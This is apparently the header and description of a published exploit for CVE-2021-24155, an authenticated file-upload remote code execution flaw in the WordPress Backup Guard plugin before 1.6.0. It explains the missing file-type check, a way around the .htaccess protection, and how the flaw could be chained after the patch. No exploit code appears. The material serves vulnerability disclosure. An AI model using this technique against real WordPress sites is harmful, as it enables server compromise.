# Exploit Title: Wordpress Plugin Backup Guard 1.5.8 - Remote Code Execution (Authenticated)
# Date 02.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://backup-guard.com/products/backup-wordpress
# Software Link: https://downloads.wordpress.org/plugin/backup.1.5.8.zip
# Version: Before 1.6.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24155
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24155/README.md

'''
Description:
The plugin did not ensure that the imported files are of the SGBP format and extension,
allowing high privilege users (admin+) to upload arbitrary files, including PHP ones, leading to RCE.
Additional Info, and Bypass of .htaccess protection found by WPScanTeam, while confirming the issue:
There is a protection in place against accessing the uploaded files,
via a .htaccess in the wp-content/uploads/backup-guard/ folder, however:
- Some web servers do not support .htaccess, e.g Nginx, making it useless in such case
- Arbitrary content can be appended to the existing .htaccess, to make the deny from all invalid,
and bypass the protection on web servers such as Apache

Note: v1.6.0 forced the uploaded file to have the .sgbp extension by adding it if not present,
but the file content is not verified, which could still allow chaining with an issue
such as LFI or Arbitrary File Renaming to achieve RCE
